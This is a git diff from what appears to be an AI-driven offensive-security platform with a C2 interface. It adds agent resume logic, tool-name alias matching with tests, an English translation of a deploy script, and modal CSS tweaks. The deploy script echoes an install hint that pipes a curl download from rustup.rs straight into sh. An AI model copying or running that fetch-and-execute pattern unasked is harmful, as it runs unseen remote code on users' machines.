logger.Info("eino empty response, ending run segment for handler resume",
zap.String("conversationId", conversationID),
zap.String("orchestration", orchMode),
zap.Int("traceMessages", len(runAccumulatedMsgs)))
}
if progress != nil {
progress("eino_empty_response_continue", "会话已结束但未产生助手正文,正在基于轨迹自动续跑…", map[string]interface{}{
"conversationId": conversationID,
"source": "eino",
"resumeKind": "trace_segment",
})
}
return out, ErrEmptyResponseContinue
}
return out, nil return out, nil
} }
func shouldEinoEmptyResponseContinue(out *RunResult, emptyHint string, accumulatedLen, baseCount int) bool {
if out == nil || accumulatedLen <= baseCount {
return false
}
return strings.TrimSpace(out.Response) == strings.TrimSpace(emptyHint)
}
func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message { func persistTraceSource(args *einoADKRunLoopArgs, fallback []adk.Message) []adk.Message {
if args != nil && args.ModelFacingTrace != nil { if args != nil && args.ModelFacingTrace != nil {
if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 { if snap := args.ModelFacingTrace.Snapshot(); len(snap) > 0 {
@@ -0,0 +1,21 @@
package multiagent
import "testing"
func TestShouldEinoEmptyResponseContinue(t *testing.T) {
t.Parallel()
hint := "(empty hint)"
out := &RunResult{Response: hint}
if !shouldEinoEmptyResponseContinue(out, hint, 3, 1) {
t.Fatal("expected continue when response is empty hint and trace grew")
}
if shouldEinoEmptyResponseContinue(out, hint, 1, 1) {
t.Fatal("expected no continue when trace did not grow")
}
if shouldEinoEmptyResponseContinue(&RunResult{Response: "hello"}, hint, 3, 1) {
t.Fatal("expected no continue when response has content")
}
if shouldEinoEmptyResponseContinue(nil, hint, 3, 1) {
t.Fatal("expected no continue for nil result")
}
}
+3 -10
View File
@@ -51,14 +51,7 @@ func splitToolsForToolSearch(all []tool.BaseTool, alwaysVisible int) (static []t
} }
func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) { func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbackAlwaysVisible int) (static []tool.BaseTool, dynamic []tool.BaseTool, ok bool) {
nameSet := make(map[string]struct{}, len(names)) nameSet := expandAlwaysVisibleNameSet(names)
for _, n := range names {
n = strings.TrimSpace(strings.ToLower(n))
if n == "" {
continue
}
nameSet[n] = struct{}{}
}
if len(nameSet) == 0 { if len(nameSet) == 0 {
return splitToolsForToolSearch(all, fallbackAlwaysVisible) return splitToolsForToolSearch(all, fallbackAlwaysVisible)
} }
@@ -71,9 +64,9 @@ func splitToolsForToolSearchByNames(all []tool.BaseTool, names []string, fallbac
info, err := t.Info(context.Background()) info, err := t.Info(context.Background())
name := "" name := ""
if err == nil && info != nil { if err == nil && info != nil {
name = strings.TrimSpace(strings.ToLower(info.Name)) name = info.Name
} }
if _, keep := nameSet[name]; keep { if toolMatchesAlwaysVisible(name, nameSet) {
static = append(static, t) static = append(static, t)
continue continue
} }
+4
View File
@@ -9,3 +9,7 @@ var ErrInterruptContinue = errors.New("agent interrupt: continue with user-suppl
// ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后 // ErrTransientRetryContinue 表示 Run 因 429/网络等临时错误结束,应由 handler 落库轨迹后
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。 // loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue 同级的「分段续跑」语义)。
var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace") var ErrTransientRetryContinue = errors.New("agent transient: retry after persisting trace")
// ErrEmptyResponseContinue 表示 Eino ADK 会话正常结束但未捕获到助手正文,应由 handler 落库轨迹后
// loadHistoryFromAgentTrace 再开下一轮 Run(与 ErrInterruptContinue / ErrTransientRetryContinue 同级)。
var ErrEmptyResponseContinue = errors.New("agent empty response: continue after persisting trace")
@@ -0,0 +1,72 @@
package multiagent
import (
"strings"
)
// expandAlwaysVisibleNameSet 将配置中的常驻工具名展开为可匹配运行时工具名的集合。
// 支持:内置短名 read_file;外部 mcp::tool;运行时 mcp__toolOpenAI/Eino 命名)。
func expandAlwaysVisibleNameSet(names []string) map[string]struct{} {
set := make(map[string]struct{}, len(names)*3)
add := func(name string) {
n := strings.TrimSpace(strings.ToLower(name))
if n == "" {
return
}
set[n] = struct{}{}
}
for _, raw := range names {
n := strings.TrimSpace(strings.ToLower(raw))
if n == "" {
continue
}
add(n)
if mcp, tool, ok := strings.Cut(n, "::"); ok && mcp != "" && tool != "" {
// 外部工具用 mcp::tool 配置时只展开运行时 mcp__tool,避免短名误伤其它 MCP 同名工具。
add(mcp + "__" + tool)
continue
}
if idx := strings.LastIndex(n, "__"); idx > 0 {
mcp, tool := n[:idx], n[idx+2:]
if mcp != "" && tool != "" {
add(mcp + "::" + tool)
}
continue
}
}
return set
}
// toolMatchesAlwaysVisible 判断运行时工具名是否命中常驻白名单(含别名)。
func toolMatchesAlwaysVisible(runtimeName string, nameSet map[string]struct{}) bool {
if len(nameSet) == 0 {
return false
}
name := strings.TrimSpace(strings.ToLower(runtimeName))
if name == "" {
return false
}
if _, ok := nameSet[name]; ok {
return true
}
if mcp, tool, ok := strings.Cut(name, "::"); ok && mcp != "" && tool != "" {
if _, ok := nameSet[mcp+"__"+tool]; ok {
return true
}
if _, ok := nameSet[tool]; ok {
return true
}
}
if idx := strings.LastIndex(name, "__"); idx > 0 {
mcp, tool := name[:idx], name[idx+2:]
if mcp != "" && tool != "" {
if _, ok := nameSet[mcp+"::"+tool]; ok {
return true
}
if _, ok := nameSet[tool]; ok {
return true
}
}
}
return false
}
@@ -0,0 +1,32 @@
package multiagent
import "testing"
func TestToolMatchesAlwaysVisible_ExternalAliases(t *testing.T) {
t.Parallel()
set := expandAlwaysVisibleNameSet([]string{"zhidemai::discount_search", "read_file"})
cases := []struct {
runtime string
want bool
}{
{"zhidemai__discount_search", true},
{"zhidemai::discount_search", true},
{"read_file", true},
{"zhidemai__product_search_pro", false},
{"github__discount_search", false},
}
for _, tc := range cases {
if got := toolMatchesAlwaysVisible(tc.runtime, set); got != tc.want {
t.Fatalf("toolMatchesAlwaysVisible(%q) = %v, want %v", tc.runtime, got, tc.want)
}
}
}
func TestExpandAlwaysVisibleNameSet_LegacyShortName(t *testing.T) {
t.Parallel()
set := expandAlwaysVisibleNameSet([]string{"discount_search"})
if !toolMatchesAlwaysVisible("zhidemai__discount_search", set) {
t.Fatal("legacy short name should match external runtime tool")
}
}
+107 -107
View File
@@ -2,11 +2,11 @@
set -euo pipefail set -euo pipefail
# CyberStrikeAI 一键部署启动脚本 # CyberStrikeAI one-click deploy and start script
ROOT_DIR="$(cd "$(dirname "$0")" && pwd)" ROOT_DIR="$(cd "$(dirname "$0")" && pwd)"
cd "$ROOT_DIR" cd "$ROOT_DIR"
# 颜色定义 # Color definitions
RED='\033[0;31m' RED='\033[0;31m'
GREEN='\033[0;32m' GREEN='\033[0;32m'
YELLOW='\033[1;33m' YELLOW='\033[1;33m'
@@ -14,31 +14,31 @@ BLUE='\033[0;34m'
CYAN='\033[0;36m' CYAN='\033[0;36m'
NC='\033[0m' # No Color NC='\033[0m' # No Color
# 打印带颜色的消息 # Print colored messages
info() { echo -e "${BLUE}$1${NC}"; } info() { echo -e "${BLUE}$1${NC}"; }
success() { echo -e "${GREEN}$1${NC}"; } success() { echo -e "${GREEN}$1${NC}"; }
warning() { echo -e "${YELLOW}⚠️ $1${NC}"; } warning() { echo -e "${YELLOW}⚠️ $1${NC}"; }
error() { echo -e "${RED}$1${NC}"; } error() { echo -e "${RED}$1${NC}"; }
note() { echo -e "${CYAN}$1${NC}"; } note() { echo -e "${CYAN}$1${NC}"; }
# 临时源配置(仅在此脚本中生效) # Temporary mirror/proxy settings (only effective in this script)
PIP_INDEX_URL="${PIP_INDEX_URL:-https://pypi.tuna.tsinghua.edu.cn/simple}" PIP_INDEX_URL="${PIP_INDEX_URL:-https://pypi.tuna.tsinghua.edu.cn/simple}"
GOPROXY="${GOPROXY:-https://goproxy.cn,direct}" GOPROXY="${GOPROXY:-https://goproxy.cn,direct}"
# 保存原始环境变量(用于恢复) # Save original env vars (for restoration)
ORIGINAL_PIP_INDEX_URL="${PIP_INDEX_URL:-}" ORIGINAL_PIP_INDEX_URL="${PIP_INDEX_URL:-}"
ORIGINAL_GOPROXY="${GOPROXY:-}" ORIGINAL_GOPROXY="${GOPROXY:-}"
# 进度显示函数 # Progress display helper
show_progress() { show_progress() {
local pid=$1 local pid=$1
local message=$2 local message=$2
local i=0 local i=0
local dots="" local dots=""
# 检查进程是否存在 # Check if the process exists
if ! kill -0 "$pid" 2>/dev/null; then if ! kill -0 "$pid" 2>/dev/null; then
# 进程已经结束,立即返回 # Process already finished; return immediately
return 0 return 0
fi fi
@@ -53,7 +53,7 @@ show_progress() {
printf "\r${BLUE}⏳ %s%s${NC}" "$message" "$dots" printf "\r${BLUE}⏳ %s%s${NC}" "$message" "$dots"
sleep 0.5 sleep 0.5
# 再次检查进程是否还存在 # Re-check whether the process is still running
if ! kill -0 "$pid" 2>/dev/null; then if ! kill -0 "$pid" 2>/dev/null; then
break break
fi fi
@@ -63,21 +63,21 @@ show_progress() {
echo "" echo ""
echo "==========================================" echo "=========================================="
echo " CyberStrikeAI 一键部署启动脚本" echo " CyberStrikeAI Deploy & Start Script"
echo " (默认 HTTPS 自签证书;纯 HTTP 请用: $0 --http" echo " (HTTPS with self-signed cert by default; plain HTTP: $0 --http)"
echo "==========================================" echo "=========================================="
echo "" echo ""
# 显示临时源配置信息 # Show temporary mirror/proxy info
echo "" echo ""
warning "⚠️ 注意:此脚本将使用临时镜像源加速下载" warning "Note: this script uses temporary mirrors to speed up downloads"
echo "" echo ""
info "Python pip 临时镜像源:" info "Python pip temporary mirror:"
echo " ${PIP_INDEX_URL}" echo " ${PIP_INDEX_URL}"
info "Go Proxy 临时镜像源:" info "Go temporary proxy:"
echo " ${GOPROXY}" echo " ${GOPROXY}"
echo "" echo ""
note "这些设置仅在脚本运行期间生效,不会修改系统配置" note "These settings apply only while this script runs and do not change system config"
echo "" echo ""
sleep 1 sleep 1
@@ -86,19 +86,19 @@ VENV_DIR="$ROOT_DIR/venv"
REQUIREMENTS_FILE="$ROOT_DIR/requirements.txt" REQUIREMENTS_FILE="$ROOT_DIR/requirements.txt"
BINARY_NAME="cyberstrike-ai" BINARY_NAME="cyberstrike-ai"
# 检查配置文件 # Check config file
if [ ! -f "$CONFIG_FILE" ]; then if [ ! -f "$CONFIG_FILE" ]; then
error "配置文件 config.yaml 不存在" error "Config file config.yaml not found"
info "请确保在项目根目录运行此脚本" info "Make sure you run this script from the project root"
exit 1 exit 1
fi fi
# 检查并安装 Python 环境 # Check Python environment
check_python() { check_python() {
if ! command -v python3 >/dev/null 2>&1; then if ! command -v python3 >/dev/null 2>&1; then
error "未找到 python3" error "python3 not found"
echo "" echo ""
info "请先安装 Python 3.10 或更高版本:" info "Install Python 3.10 or later first:"
echo " macOS: brew install python3" echo " macOS: brew install python3"
echo " Ubuntu: sudo apt-get install python3 python3-venv" echo " Ubuntu: sudo apt-get install python3 python3-venv"
echo " CentOS: sudo yum install python3 python3-pip" echo " CentOS: sudo yum install python3 python3-pip"
@@ -110,23 +110,23 @@ check_python() {
PYTHON_MINOR=$(echo "$PYTHON_VERSION" | cut -d. -f2) PYTHON_MINOR=$(echo "$PYTHON_VERSION" | cut -d. -f2)
if [ "$PYTHON_MAJOR" -lt 3 ] || ([ "$PYTHON_MAJOR" -eq 3 ] && [ "$PYTHON_MINOR" -lt 10 ]); then if [ "$PYTHON_MAJOR" -lt 3 ] || ([ "$PYTHON_MAJOR" -eq 3 ] && [ "$PYTHON_MINOR" -lt 10 ]); then
error "Python 版本过低: $PYTHON_VERSION (需要 3.10+)" error "Python version too old: $PYTHON_VERSION (requires 3.10+)"
exit 1 exit 1
fi fi
success "Python 环境检查通过: $PYTHON_VERSION" success "Python check passed: $PYTHON_VERSION"
} }
# 检查并安装 Go 环境 # Check Go environment
check_go() { check_go() {
if ! command -v go >/dev/null 2>&1; then if ! command -v go >/dev/null 2>&1; then
error "未找到 Go" error "Go not found"
echo "" echo ""
info "请先安装 Go 1.21 或更高版本:" info "Install Go 1.21 or later first:"
echo " macOS: brew install go" echo " macOS: brew install go"
echo " Ubuntu: sudo apt-get install golang-go" echo " Ubuntu: sudo apt-get install golang-go"
echo " CentOS: sudo yum install golang" echo " CentOS: sudo yum install golang"
echo " 或访问: https://go.dev/dl/" echo " Or visit: https://go.dev/dl/"
exit 1 exit 1
fi fi
@@ -135,63 +135,63 @@ check_go() {
GO_MINOR=$(echo "$GO_VERSION" | cut -d. -f2) GO_MINOR=$(echo "$GO_VERSION" | cut -d. -f2)
if [ "$GO_MAJOR" -lt 1 ] || ([ "$GO_MAJOR" -eq 1 ] && [ "$GO_MINOR" -lt 21 ]); then if [ "$GO_MAJOR" -lt 1 ] || ([ "$GO_MAJOR" -eq 1 ] && [ "$GO_MINOR" -lt 21 ]); then
error "Go 版本过低: $GO_VERSION (需要 1.21+)" error "Go version too old: $GO_VERSION (requires 1.21+)"
exit 1 exit 1
fi fi
success "Go 环境检查通过: $(go version)" success "Go check passed: $(go version)"
} }
# 设置 Python 虚拟环境 # Set up Python virtual environment
setup_python_env() { setup_python_env() {
if [ ! -d "$VENV_DIR" ]; then if [ ! -d "$VENV_DIR" ]; then
info "创建 Python 虚拟环境..." info "Creating Python virtual environment..."
python3 -m venv "$VENV_DIR" python3 -m venv "$VENV_DIR"
success "虚拟环境创建完成" success "Virtual environment created"
else else
info "Python 虚拟环境已存在" info "Python virtual environment already exists"
fi fi
info "激活虚拟环境..." info "Activating virtual environment..."
# shellcheck disable=SC1091 # shellcheck disable=SC1091
source "$VENV_DIR/bin/activate" source "$VENV_DIR/bin/activate"
if [ -f "$REQUIREMENTS_FILE" ]; then if [ -f "$REQUIREMENTS_FILE" ]; then
echo "" echo ""
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
note "⚠️ 使用临时 pip 镜像源(仅本次脚本运行有效)" note "Using temporary pip mirror (this script run only)"
note " 镜像地址: ${PIP_INDEX_URL}" note " Mirror URL: ${PIP_INDEX_URL}"
note " 如需永久配置,请设置环境变量 PIP_INDEX_URL" note " For a permanent setting, set the PIP_INDEX_URL env var"
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "" echo ""
info "升级 pip..." info "Upgrading pip..."
pip install --index-url "$PIP_INDEX_URL" --upgrade pip >/dev/null 2>&1 || true pip install --index-url "$PIP_INDEX_URL" --upgrade pip >/dev/null 2>&1 || true
info "安装 Python 依赖包..." info "Installing Python dependencies..."
echo "" echo ""
# 尝试安装依赖,捕获错误输出并显示进度 # Install deps in background; capture errors and show progress
PIP_LOG=$(mktemp) PIP_LOG=$(mktemp)
( (
set +e # 在子shell中禁用错误退出 set +e # disable errexit in subshell
pip install --index-url "$PIP_INDEX_URL" -r "$REQUIREMENTS_FILE" >"$PIP_LOG" 2>&1 pip install --index-url "$PIP_INDEX_URL" -r "$REQUIREMENTS_FILE" >"$PIP_LOG" 2>&1
echo $? > "${PIP_LOG}.exit" echo $? > "${PIP_LOG}.exit"
) & ) &
PIP_PID=$! PIP_PID=$!
# 等待一小段时间,确保进程启动 # Brief pause so the process can start
sleep 0.1 sleep 0.1
# 显示进度(如果进程还在运行) # Show progress while still running
if kill -0 "$PIP_PID" 2>/dev/null; then if kill -0 "$PIP_PID" 2>/dev/null; then
show_progress "$PIP_PID" "正在安装依赖包" show_progress "$PIP_PID" "Installing dependencies"
else else
# 进程已经结束,等待一下确保退出码文件已写入 # Process already finished; wait for exit code file
sleep 0.2 sleep 0.2
fi fi
# 等待进程完成,忽略 wait 的退出码 # Wait for completion; ignore wait exit code
wait "$PIP_PID" 2>/dev/null || true wait "$PIP_PID" 2>/dev/null || true
PIP_EXIT_CODE=0 PIP_EXIT_CODE=0
@@ -199,74 +199,74 @@ setup_python_env() {
PIP_EXIT_CODE=$(cat "${PIP_LOG}.exit" 2>/dev/null || echo "1") PIP_EXIT_CODE=$(cat "${PIP_LOG}.exit" 2>/dev/null || echo "1")
rm -f "${PIP_LOG}.exit" 2>/dev/null || true rm -f "${PIP_LOG}.exit" 2>/dev/null || true
else else
# 如果没有退出码文件,检查日志中是否有错误 # No exit code file; check log for errors
if [ -f "$PIP_LOG" ] && grep -q -i "error\|failed\|exception" "$PIP_LOG" 2>/dev/null; then if [ -f "$PIP_LOG" ] && grep -q -i "error\|failed\|exception" "$PIP_LOG" 2>/dev/null; then
PIP_EXIT_CODE=1 PIP_EXIT_CODE=1
fi fi
fi fi
if [ $PIP_EXIT_CODE -eq 0 ]; then if [ $PIP_EXIT_CODE -eq 0 ]; then
success "Python 依赖安装完成" success "Python dependencies installed"
else else
# 检查是否是 angr 安装失败(需要 Rust # Check for angr install failure (needs Rust)
if grep -q "angr" "$PIP_LOG" && grep -q "Rust compiler\|can't find Rust" "$PIP_LOG"; then if grep -q "angr" "$PIP_LOG" && grep -q "Rust compiler\|can't find Rust" "$PIP_LOG"; then
warning "angr 安装失败(需要 Rust 编译器)" warning "angr install failed (Rust compiler required)"
echo "" echo ""
info "angr 是可选依赖,主要用于二进制分析工具" info "angr is optional and mainly used for binary analysis tools"
info "如果需要使用 angr,请先安装 Rust:" info "To use angr, install Rust first:"
echo " macOS: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh" echo " macOS: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
echo " Ubuntu: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh" echo " Ubuntu: curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh"
echo " 或访问: https://rustup.rs/" echo " Or visit: https://rustup.rs/"
echo "" echo ""
info "其他依赖已安装,可以继续使用(部分工具可能不可用)" info "Other dependencies are installed; you can continue (some tools may be unavailable)"
else else
warning "部分 Python 依赖安装失败,但可以继续尝试运行" warning "Some Python dependencies failed to install, but continuing"
warning "如果遇到问题,请检查错误信息并手动安装缺失的依赖" warning "If you hit issues, check the errors and install missing packages manually"
# 显示最后几行错误信息 # Show last lines of error output
echo "" echo ""
info "错误详情(最后 10 行):" info "Error details (last 10 lines):"
tail -n 10 "$PIP_LOG" | sed 's/^/ /' tail -n 10 "$PIP_LOG" | sed 's/^/ /'
echo "" echo ""
fi fi
fi fi
rm -f "$PIP_LOG" rm -f "$PIP_LOG"
else else
warning "未找到 requirements.txt,跳过 Python 依赖安装" warning "requirements.txt not found; skipping Python dependency install"
fi fi
} }
# 构建 Go 项目 # Build Go project
build_go_project() { build_go_project() {
echo "" echo ""
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
note "⚠️ 使用临时 Go Proxy(仅本次脚本运行有效)" note "Using temporary Go proxy (this script run only)"
note " Proxy 地址: ${GOPROXY}" note " Proxy URL: ${GOPROXY}"
note " 如需永久配置,请设置环境变量 GOPROXY" note " For a permanent setting, set the GOPROXY env var"
note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━" note "━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━"
echo "" echo ""
info "下载 Go 依赖..." info "Downloading Go dependencies..."
GO_DOWNLOAD_LOG=$(mktemp) GO_DOWNLOAD_LOG=$(mktemp)
( (
set +e # 在子shell中禁用错误退出 set +e # disable errexit in subshell
export GOPROXY="$GOPROXY" export GOPROXY="$GOPROXY"
go mod download >"$GO_DOWNLOAD_LOG" 2>&1 go mod download >"$GO_DOWNLOAD_LOG" 2>&1
echo $? > "${GO_DOWNLOAD_LOG}.exit" echo $? > "${GO_DOWNLOAD_LOG}.exit"
) & ) &
GO_DOWNLOAD_PID=$! GO_DOWNLOAD_PID=$!
# 等待一小段时间,确保进程启动 # Brief pause so the process can start
sleep 0.1 sleep 0.1
# 显示进度(如果进程还在运行) # Show progress while still running
if kill -0 "$GO_DOWNLOAD_PID" 2>/dev/null; then if kill -0 "$GO_DOWNLOAD_PID" 2>/dev/null; then
show_progress "$GO_DOWNLOAD_PID" "正在下载 Go 依赖" show_progress "$GO_DOWNLOAD_PID" "Downloading Go dependencies"
else else
# 进程已经结束,等待一下确保退出码文件已写入 # Process already finished; wait for exit code file
sleep 0.2 sleep 0.2
fi fi
# 等待进程完成,忽略 wait 的退出码 # Wait for completion; ignore wait exit code
wait "$GO_DOWNLOAD_PID" 2>/dev/null || true wait "$GO_DOWNLOAD_PID" 2>/dev/null || true
GO_DOWNLOAD_EXIT_CODE=0 GO_DOWNLOAD_EXIT_CODE=0
@@ -274,7 +274,7 @@ build_go_project() {
GO_DOWNLOAD_EXIT_CODE=$(cat "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || echo "1") GO_DOWNLOAD_EXIT_CODE=$(cat "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || echo "1")
rm -f "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || true rm -f "${GO_DOWNLOAD_LOG}.exit" 2>/dev/null || true
else else
# 如果没有退出码文件,检查日志中是否有错误 # No exit code file; check log for errors
if [ -f "$GO_DOWNLOAD_LOG" ] && grep -q -i "error\|failed" "$GO_DOWNLOAD_LOG" 2>/dev/null; then if [ -f "$GO_DOWNLOAD_LOG" ] && grep -q -i "error\|failed" "$GO_DOWNLOAD_LOG" 2>/dev/null; then
GO_DOWNLOAD_EXIT_CODE=1 GO_DOWNLOAD_EXIT_CODE=1
fi fi
@@ -282,33 +282,33 @@ build_go_project() {
rm -f "$GO_DOWNLOAD_LOG" 2>/dev/null || true rm -f "$GO_DOWNLOAD_LOG" 2>/dev/null || true
if [ $GO_DOWNLOAD_EXIT_CODE -ne 0 ]; then if [ $GO_DOWNLOAD_EXIT_CODE -ne 0 ]; then
error "Go 依赖下载失败" error "Go dependency download failed"
exit 1 exit 1
fi fi
success "Go 依赖下载完成" success "Go dependencies downloaded"
info "构建项目..." info "Building project..."
GO_BUILD_LOG=$(mktemp) GO_BUILD_LOG=$(mktemp)
( (
set +e # 在子shell中禁用错误退出 set +e # disable errexit in subshell
export GOPROXY="$GOPROXY" export GOPROXY="$GOPROXY"
go build -o "$BINARY_NAME" cmd/server/main.go >"$GO_BUILD_LOG" 2>&1 go build -o "$BINARY_NAME" cmd/server/main.go >"$GO_BUILD_LOG" 2>&1
echo $? > "${GO_BUILD_LOG}.exit" echo $? > "${GO_BUILD_LOG}.exit"
) & ) &
GO_BUILD_PID=$! GO_BUILD_PID=$!
# 等待一小段时间,确保进程启动 # Brief pause so the process can start
sleep 0.1 sleep 0.1
# 显示进度(如果进程还在运行) # Show progress while still running
if kill -0 "$GO_BUILD_PID" 2>/dev/null; then if kill -0 "$GO_BUILD_PID" 2>/dev/null; then
show_progress "$GO_BUILD_PID" "正在构建项目" show_progress "$GO_BUILD_PID" "Building project"
else else
# 进程已经结束,等待一下确保退出码文件已写入 # Process already finished; wait for exit code file
sleep 0.2 sleep 0.2
fi fi
# 等待进程完成,忽略 wait 的退出码 # Wait for completion; ignore wait exit code
wait "$GO_BUILD_PID" 2>/dev/null || true wait "$GO_BUILD_PID" 2>/dev/null || true
GO_BUILD_EXIT_CODE=0 GO_BUILD_EXIT_CODE=0
@@ -316,20 +316,20 @@ build_go_project() {
GO_BUILD_EXIT_CODE=$(cat "${GO_BUILD_LOG}.exit" 2>/dev/null || echo "1") GO_BUILD_EXIT_CODE=$(cat "${GO_BUILD_LOG}.exit" 2>/dev/null || echo "1")
rm -f "${GO_BUILD_LOG}.exit" 2>/dev/null || true rm -f "${GO_BUILD_LOG}.exit" 2>/dev/null || true
else else
# 如果没有退出码文件,检查日志中是否有错误 # No exit code file; check log for errors
if [ -f "$GO_BUILD_LOG" ] && grep -q -i "error\|failed" "$GO_BUILD_LOG" 2>/dev/null; then if [ -f "$GO_BUILD_LOG" ] && grep -q -i "error\|failed" "$GO_BUILD_LOG" 2>/dev/null; then
GO_BUILD_EXIT_CODE=1 GO_BUILD_EXIT_CODE=1
fi fi
fi fi
if [ $GO_BUILD_EXIT_CODE -eq 0 ]; then if [ $GO_BUILD_EXIT_CODE -eq 0 ]; then
success "项目构建完成: $BINARY_NAME" success "Build complete: $BINARY_NAME"
rm -f "$GO_BUILD_LOG" rm -f "$GO_BUILD_LOG"
else else
error "项目构建失败" error "Build failed"
# 显示构建错误 # Show build errors
echo "" echo ""
info "构建错误详情:" info "Build error details:"
cat "$GO_BUILD_LOG" | sed 's/^/ /' cat "$GO_BUILD_LOG" | sed 's/^/ /'
echo "" echo ""
rm -f "$GO_BUILD_LOG" rm -f "$GO_BUILD_LOG"
@@ -337,24 +337,24 @@ build_go_project() {
fi fi
} }
# 检查是否需要重新构建 # Check whether a rebuild is needed
need_rebuild() { need_rebuild() {
if [ ! -f "$BINARY_NAME" ]; then if [ ! -f "$BINARY_NAME" ]; then
return 0 # 需要构建 return 0 # needs build
fi fi
# 检查源代码是否有更新 # Check if source changed since last build
if [ "$BINARY_NAME" -ot cmd/server/main.go ] || \ if [ "$BINARY_NAME" -ot cmd/server/main.go ] || \
[ "$BINARY_NAME" -ot go.mod ] || \ [ "$BINARY_NAME" -ot go.mod ] || \
find internal cmd -name "*.go" -newer "$BINARY_NAME" 2>/dev/null | grep -q .; then find internal cmd -name "*.go" -newer "$BINARY_NAME" 2>/dev/null | grep -q .; then
return 0 # 需要重新构建 return 0 # needs rebuild
fi fi
return 1 # 不需要构建 return 1 # no rebuild needed
} }
# 主流程 # Main flow
# 默认启动主站 HTTPS--https 传给二进制);传 --http 则走明文 HTTP # Default: HTTPS (--https passed to binary); --http uses plain HTTP.
main() { main() {
USE_HTTPS=1 USE_HTTPS=1
FORWARD_ARGS=() FORWARD_ARGS=()
@@ -366,39 +366,39 @@ main() {
FORWARD_ARGS+=("$arg") FORWARD_ARGS+=("$arg")
done done
# 环境检查 # Environment checks
info "检查运行环境..." info "Checking runtime environment..."
check_python check_python
check_go check_go
echo "" echo ""
# 设置 Python 环境 # Python setup
info "设置 Python 环境..." info "Setting up Python environment..."
setup_python_env setup_python_env
echo "" echo ""
# 构建 Go 项目 # Go build
if need_rebuild; then if need_rebuild; then
info "准备构建项目..." info "Preparing to build project..."
build_go_project build_go_project
else else
success "可执行文件已是最新,跳过构建" success "Binary is up to date; skipping build"
fi fi
echo "" echo ""
# 启动服务器 # Start server
success "所有准备工作完成!" success "All setup complete!"
echo "" echo ""
if [ "$USE_HTTPS" -eq 1 ]; then if [ "$USE_HTTPS" -eq 1 ]; then
info "启动 CyberStrikeAI 服务器(HTTPS + HTTP/2,自签证书)..." info "Starting CyberStrikeAI server (HTTPS + HTTP/2, self-signed cert)..."
note "纯 HTTP 启动请使用: $0 --http" note "For plain HTTP, use: $0 --http"
else else
info "启动 CyberStrikeAI 服务器(HTTP..." info "Starting CyberStrikeAI server (HTTP)..."
fi fi
echo "==========================================" echo "=========================================="
echo "" echo ""
# 始终传入项目根目录下的 config.yaml,避免 cwd 不在项目根时找不到配置;额外参数仍可追加(如再次 -config 覆盖,以 Go flag 后写为准)。 # Always pass config.yaml from project root so cwd does not matter; extra args still apply (e.g. -config override; last Go flag wins).
if [ "$USE_HTTPS" -eq 1 ]; then if [ "$USE_HTTPS" -eq 1 ]; then
if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then if [ "${#FORWARD_ARGS[@]}" -gt 0 ]; then
exec "./$BINARY_NAME" -config "$CONFIG_FILE" --https "${FORWARD_ARGS[@]}" exec "./$BINARY_NAME" -config "$CONFIG_FILE" --https "${FORWARD_ARGS[@]}"
@@ -414,5 +414,5 @@ main() {
fi fi
} }
# 执行主流程(支持参数,如: ./run.sh --http # Run main (supports args, e.g. ./run.sh --http)
main "$@" main "$@"
+3 -5
View File
@@ -1371,7 +1371,6 @@
Modal Modal
============================================================================ */ ============================================================================ */
/* Toast 须高于模态遮罩 (10050),避免被 backdrop-filter 模糊 */
#c2-toast-container { #c2-toast-container {
z-index: 10100 !important; z-index: 10100 !important;
} }
@@ -1379,9 +1378,7 @@
.c2-modal-overlay { .c2-modal-overlay {
position: fixed; position: fixed;
top: 0; left: 0; right: 0; bottom: 0; top: 0; left: 0; right: 0; bottom: 0;
background: rgba(15, 23, 42, 0.5); background: rgba(15, 23, 42, 0.52);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
display: flex; display: flex;
align-items: center; align-items: center;
justify-content: center; justify-content: center;
@@ -1404,7 +1401,8 @@
overflow-y: auto; overflow-y: auto;
box-shadow: var(--c2-shadow-lg); box-shadow: var(--c2-shadow-lg);
border: 1px solid var(--c2-border); border: 1px solid var(--c2-border);
animation: c2-slide-up 0.2s ease-out; animation: c2-slide-up 0.18s ease-out;
contain: layout style paint;
} }
@keyframes c2-slide-up { @keyframes c2-slide-up {
+279 -24
View File
@@ -3326,9 +3326,9 @@ header {
top: 0; top: 0;
width: 100%; width: 100%;
height: 100%; height: 100%;
background-color: rgba(0, 0, 0, 0.6); background-color: rgba(15, 23, 42, 0.52);
overflow: auto; overflow: auto;
animation: fadeIn 0.2s ease-in; animation: fadeIn 0.15s ease-out;
} }
.modal-content { .modal-content {
@@ -3343,8 +3343,9 @@ header {
flex-direction: column; flex-direction: column;
box-shadow: var(--shadow-lg); box-shadow: var(--shadow-lg);
border: 1px solid var(--border-color); border: 1px solid var(--border-color);
